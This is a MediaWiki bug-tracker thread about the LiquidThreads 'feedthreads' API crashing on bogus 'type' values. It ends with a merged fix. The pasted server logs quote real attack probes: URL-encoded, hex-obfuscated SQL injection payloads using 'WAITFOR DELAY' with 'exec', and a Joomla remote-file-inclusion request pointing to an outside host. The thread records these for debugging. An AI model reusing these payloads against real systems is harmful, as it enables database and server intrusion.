Without having looked at the code in detail, I'd be inclined to say this is feedthreads's fault for not providing FormatFeedWrapper with the data format it expects (it's quite strict there). ApiFeedWatchlist handles this more gracefully.

Of course FormatFeedWrapper's pedantic behavior should be documented.

Hmm

Unfortunately we haven't got into the feedthreads code by that point...

Yes we have, we've already left it. FormatFeedWrapper expects certain things to be put in the result a certain way, and because that hasn't happened, it dies badly.

Bugs not actually an invalid feed.

It's from the type not being correctly set... For some reason, I can't seem to get it to dieUsage if the types not set (or bad)

type= doesn't use the default (as per the rest of the api)

if type != replies || newthreads then it barfs like the above..

Should be "handled" by the throw new MWException( "Unable to determine appropriate display type" ); on line 140 of ApiFeedLQTThreads.php, but it seems not to be, and it just carrys on.

• Bug 22915 has been marked as a duplicate of this bug. ***

This needs to be fixed! It's flooding our exception logs more and more.

2012-01-13 02:20:55 mediawiki-bw_: /w/api.php?feedformat=atom&type=%27%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 138 of /www/w/extensions/LiquidThreads/api/ApiFeedLQTThreads.php: Unable to determine appropriate display type
2012-01-13 02:20:55 mediawiki-bw_: /w/api.php?feedformat=atom&type=%27%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 1491 of /www/w/includes/GlobalFunctions.php: Internal error in ApiFormatFeedWrapper::execute: Invalid feed class/item
[13-Jan-2012 02:20:55] PHP Fatal error: Call to a member function getPerformedAction() on a non-object in /www/w/includes/OutputPage.php on line 2863
2012-01-13 02:20:57 mediawiki-bw_: /w/api.php?feedformat=atom&type=1%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 138 of /www/w/extensions/LiquidThreads/api/ApiFeedLQTThreads.php: Unable to determine appropriate display type
2012-01-13 02:20:57 mediawiki-bw_: /w/api.php?feedformat=atom&type=1%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 1491 of /www/w/includes/GlobalFunctions.php: Internal error in ApiFormatFeedWrapper::execute: Invalid feed class/item
[13-Jan-2012 02:20:57] PHP Fatal error: Call to a member function getPerformedAction() on a non-object in /www/w/includes/OutputPage.php on line 2863
2012-01-13 02:20:59 mediawiki-bw_: /w/api.php?feedformat=atom&type=1%29%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 138 of /www/w/extensions/LiquidThreads/api/ApiFeedLQTThreads.php: Unable to determine appropriate display type
2012-01-13 02:20:59 mediawiki-bw_: /w/api.php?feedformat=atom&type=1%29%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 1491 of /www/w/includes/GlobalFunctions.php: Internal error in ApiFormatFeedWrapper::execute: Invalid feed class/item
[13-Jan-2012 02:20:59] PHP Fatal error: Call to a member function getPerformedAction() on a non-object in /www/w/includes/OutputPage.php on line 2863
2012-01-13 02:21:01 mediawiki-bw_: /w/api.php?feedformat=atom&type=%27%29%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 138 of /www/w/extensions/LiquidThreads/api/ApiFeedLQTThreads.php: Unable to determine appropriate display type
2012-01-13 02:21:01 mediawiki-bw_: /w/api.php?feedformat=atom&type=%27%29%20declare%20%40q%20varchar%288000%29%20select%20%40q%20%3D%200x57414954464F522044454C4159202730303A30303A313527%20exec%28%40q%29%20%2D%2D&talkpage=Support&action=feedthreads Exception from line 1491 of /www/w/includes/GlobalFunctions.php: Internal error in ApiFormatFeedWrapper::execute: Invalid feed class/item

(In reply to comment #5)

Should be "handled" by the throw new MWException( "Unable to determine
appropriate display type" ); on line 140 of ApiFeedLQTThreads.php, but it
seems
not to be, and it just carrys on.

The exception is thrown, which seems to cause the problem.

This fixes the error, though I'm not sure it's the right fix (I'm not familiar with the feed modules):

• throw new MWException( "Unable to determine appropriate display type" );

+ $msg = 'lqt-feed-title-all';

(In reply to Sam Reed (reedy) from comment #0)

Translatewiki has been having some hits meant for Joomla, attempting
exploits..

/w/api.php?action=feedthreads&type=replie%20%E2%80%A6//includes/gacl_api.
class.php?dir=http://www.zeja.org/xpzmshxm//data/board/idxx.txt???:
Exception: Internal error in ApiFormatFeedWrapper::execute: Invalid feed
class/item

We've not seen these lately, meaning exploiters got smarter, but the URL would currently gives:

<api>

<warnings>
  <feedthreads xml:space="preserve">Unrecognized value for parameter 'type': replie …//includes/gacl_api.class.php?dir=http://www.zeja.org/xpzmshxm//data/board/idxx.txt???</feedthreads>
</warnings>
<error code="internal_api_error_MWException" info="Exception Caught: Unable to determine appropriate display type" xml:space="preserve">

#0 /www/translatewiki.net/w/extensions/LiquidThreads/api/ApiFeedLQTThreads.php(53): ApiFeedLQTThreads->createFeedTitle(Array)
#1 /www/translatewiki.net/w/includes/api/ApiMain.php(932): ApiFeedLQTThreads->execute()
#2 /www/translatewiki.net/w/includes/api/ApiMain.php(364): ApiMain->executeAction()
#3 /www/translatewiki.net/w/includes/api/ApiMain.php(335): ApiMain->executeActionWithErrorHandling()
#4 /www/translatewiki.net/w/api.php(85): ApiMain->execute()
#5 {main}

</error>
</api>

Change 398409 had a related patch set uploaded (by Chad; owner: Chad):
[mediawiki/extensions/LiquidThreads@master] Don't throw an exception when passed a bogus feed type

https://gerrit.wikimedia.org/r/398409

Change 398409 merged by jenkins-bot:
[mediawiki/extensions/LiquidThreads@master] Don't throw an exception when passed a bogus feed type

https://gerrit.wikimedia.org/r/398409